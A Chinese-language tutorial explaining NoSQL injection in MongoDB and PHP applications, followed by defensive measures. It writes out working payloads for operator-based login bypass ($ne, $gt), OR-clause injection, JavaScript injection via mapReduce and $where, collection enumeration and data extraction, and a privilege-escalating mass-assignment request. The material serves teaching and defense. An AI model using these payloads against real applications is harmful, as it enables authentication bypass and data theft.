简述NoSQL注入
字数 1175 2025-08-22 22:47:30
NoSQL注入攻击全面解析与防御指南
1. NoSQL注入概述
NoSQL数据库因其可扩展性和易用性近年来广受欢迎,但伴随而来的安全问题也日益突出。与传统SQL注入不同,NoSQL注入利用的是新型查询语法和数据处理方式的漏洞。
主要风险点:
- PHP数组注入攻击
- MongoDB OR注入
- 任意JavaScript代码执行
- REST API滥用
- 数据库污染攻击
2. PHP数组注入攻击
攻击原理
PHP本身不支持字典格式,通过数组编码为JSON与NoSQL数据库交互。当开发者直接将用户输入拼接到查询中时,攻击者可构造特殊数组结构绕过验证。
典型场景
db->users->find(array(
'username' => $_POST['username'],
'password' => $_POST['password']
));
攻击方式
构造请求:
username[$ne]=1&password[$ne]=1
转换为PHP数组:
array(
'username' => array('$ne' => '1'),
'password' => array('$ne' => '1')
)
最终MongoDB查询:
db.users.find({
"username": {"$ne":1},
"password": {"$ne":1}
})
语义等价于SQL:
SELECT * FROM users WHERE username <> 1 AND password <> 1
条件操作符利用
$gt- 大于$lt- 小于$gte- 大于等于$lte- 小于等于
示例爆破用户名:
username[$gt]=weiyh&password[$ne]=1
username[$gt]=weiyi&password[$ne]=1
3. NoSQL OR注入
攻击原理
当开发者直接拼接用户输入到JSON查询字符串时,攻击者可闭合原有语句并注入OR条件。
典型场景
string query = "{username: '" + post_username + "', password: '" + post_password + "'}";
db.users.execute(query);
攻击方式
构造输入:
username=weiyi', $or: a':'a&password='
拼接后查询:
{username: 'weiyi', $or:[{}, {'a':'a', password: ''}]}
语义等价于SQL:
SELECT * FROM users WHERE username = 'weiyi' AND (TRUE OR ('a' = 'a' AND PASSWORD = ''))
4. JavaScript注入攻击
攻击原理
MongoDB等支持执行JavaScript代码(map-reduce等操作),当参数未过滤时可能导致任意代码执行。
典型场景
$map = "function() { for (var i = 0; i < this.items.length; i++) {
emit(this.name, this.items[i].$param)
}";
$reduce = "function(name, sum) { return Array.sum(sum); }";
$opt = "{ out: 'totals' }";
$db->execute("db.stores.mapReduce($map, $reduce, $opt);");
攻击方式
注入代码:
a);}},function(kv) { return 1; }, { out: 'x' }); db.injection.insert({success:1}); return 1;db.stores.mapReduce(function() { { emit(1,1
最终执行:
db.stores.mapReduce(function() {
for (var i = 0; i < this.items.length; i++) {
emit(this.name, this.items[i].a);
}
}, function(kv) { return 1; }, { out: 'x' });
db.injection.insert({success:1});
return 1;
db.stores.mapReduce(function() { { emit(1,1); } }, ...);
其他JS注入场景
- $where注入:
$query_body = "function q() {
var username = ".$_REQUEST["username"].";
var password = ".$_REQUEST["password"].";
if(username == 'weiyi'&&password == '123456') return true;
else{ return false;}
}";
绕过方式:
password=2; return true
- 变量比较注入:
$query = "function q(){
var secret_number = 111;
var user_try = $tem;
if (secret_number!=user_try) return false;
return true;
}";
5. 数据提取技术
集合枚举
?id=1'});return ({title:tojson(db.getCollectionNames()),1:'1
数据提取
?id=1'});return ({title:tojson(db.Authority_confidential.find()[0]),1:'1
?id=1'});return ({title:tojson(db.Authority_confidential.find()[1]),1:'1
6. CSRF + REST API攻击
攻击原理
NoSQL数据库常暴露HTTP REST API接口,配合CSRF攻击可绕过前端验证。
数据污染示例
正常更新请求:
{"phonenum":"13344445555", "age":18}
恶意请求:
{"phonenum":"13344445555", "age":18, "level":1, "role":"admin"}
7. 防御措施
1. 安全扫描
- 动态应用安全测试(DAST)
- 静态代码分析
2. REST API防护
- 只接受JSON格式Content-Type
- 防止JSONP和CORS滥用
- 表单不局限于URL编码
3. 数据库权限控制
- 最小权限原则
- 集合级别访问控制
- 细分增删改查权限
4. 编码规范
- 更新字段白名单控制
- 前端禁止传入字典结构
- 参数严格类型检查
5. 输入验证
- 所有输入参数严格验证
- 使用参数化查询
- 禁用危险操作符
8. Fuzz字典参考
包含:
- 条件操作符:
$ne,$gt,$where等 - JavaScript注入payload
- 布尔盲注技术
- 延时注入技术
- 正则表达式绕过技术
9. 总结
NoSQL注入与传统SQL注入有显著差异,防御需要:
- 理解特定NoSQL数据库的查询机制
- 严格验证所有用户输入
- 实施最小权限原则
- 禁用危险功能(如JS执行)
- 定期安全审计和测试
通过综合应用这些措施,可有效防御NoSQL注入攻击,保护数据安全。